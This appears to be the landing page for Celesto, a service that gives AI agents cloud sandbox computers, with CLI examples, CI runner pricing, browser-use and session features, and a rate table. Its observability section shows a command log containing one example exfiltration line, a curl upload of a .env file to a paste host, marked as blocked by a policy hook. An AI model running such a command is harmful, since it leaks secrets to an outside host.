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Agents need their own machine

Give your agents aReal
Computer

A full cloud computer for every agent. Run agent harnesses, computer-use agents, and CI at AI scale.

Start freeView docs

Backed by

Grayscale VC

Computer using agents love Celesto

Terminal
celesto computer create --cloudcelesto computer exec COMPUTER_ID --cloud -- echo "Hello World"celesto computer ssh COMPUTER_ID --cloud

Celesto CLI

Your cloud computer, in three commands.

Create a computer, execute commands, and connect over SSH from your terminal.

.github/workflows/ci.ymlPreview
- runs-on: ubuntu-latest
+ runs-on: [self-hosted, celesto-micro]
lintCelesto Micro
testCelesto Micro
buildCelesto Micro
All checks passed · 96% less per minute

CI runners

CI runners at AI scale

96% cheaper per minute than GitHub’s standard runner. Just change one runner label.

celesto.ai/docs
Celesto DocsPreview
browser

Browser use

Give your agent a browser to navigate the web.

AgentFinding the browser setup guide

Browser use

A browser your agent can use.

Let your agent navigate websites, find information, and take action in its own cloud computer.

research-workspacePreview
Your workspace, ready again
research-notes.mdSaved
Browser sessionRestored
Project filesReady
Continue where you left off

Persistent sessions

Pick up where your agent left off.

Keep files, browser logins, and workspace state between runs, so your agent can continue without starting over.

Open-source core. Self-host or use our cloud.

Celesto

Apache-2.0

The microVM that boots every Celesto sandbox. Run it on your own infrastructure — no account, no lock-in.

$ celesto computer create
GitHub1kstars

Celesto Cloud

Managed

Same CLI, same SDK, zero infrastructure. Sandboxes boot in seconds and you pay only while they run.

$ celesto computer create --cloud
Start free400+developers building

Everything your agent needs to run reliably.

Production sandboxes with the primitives that make long-running agents practical — forking, streaming, and instant recovery out of the box.

abc01 create02 pauseresume03 forkrunningpausedrunning04 volume/data /models /cache
  1. 01

    Instant boot

    Cold start to running in under 2 seconds. No waiting for provisioning or image pulls.

    cold start < 2 s

  2. 02

    Pause & resume

    Suspend sandboxes when idle and resume in milliseconds. Pay only for active compute.

    processes kept intact

  3. 03

    Forking

    Branch a running sandbox into parallel copies. Test variants, roll back, or fan out work without reprovisioning.

    fork → a · b · c

  4. 04

    Persistent storage

    Attached volumes survive restarts and snapshots, so your agent's data is always where it left off.

    /data /models /cache

  5. 05

    Browser use

    A full browser inside the sandbox. Navigate, click, fill forms, and extract data, headless or streamed live.

    CDP · VNC

  6. 06

    CLI & SDK access

    Full programmatic control. Execute commands, stream output, and manage sandboxes from code or terminal.

    celesto computer run

Sandbox observability

See every command. Approve what matters.

Every agent gets its own sandbox, under your rules.

  • Security teams

    Audit every command

    Log every command with open-source callback hooks.

  • Developers

    Allow only what a task needs

    Allow only the IPs and domains a job needs.

  • Operators

    Keep a person in the loop

    Hold risky commands until someone approves.

Read the network policy guide
research-agent

  • git clone https://github.com/acme/web

    Allowed

  • pip install -r requirements.txt

    Allowed

  • curl -T .env https://paste.example

    Vetoed in on_pre_run: uploads a secrets file

    Blocked

  • ./deploy.sh production

    Held for review before it reaches the sandbox

    Needs approval
2 allowed · 1 blocked · 1 waiting for you

Start free, pay only when you run

No subscription or monthly minimum.

Start free trial

One-time $5 credit · 30 days · No card required

Shared vCPURAMRoot diskUSD / hour
12 GB20 GB$0.015
14 GB25 GB$0.020
24 GB30 GB$0.030
28 GB40 GB$0.040
416 GB60 GB$0.080
832 GB100 GB$0.160
Full pricing details

Stopped root disks are retained free for 30 days.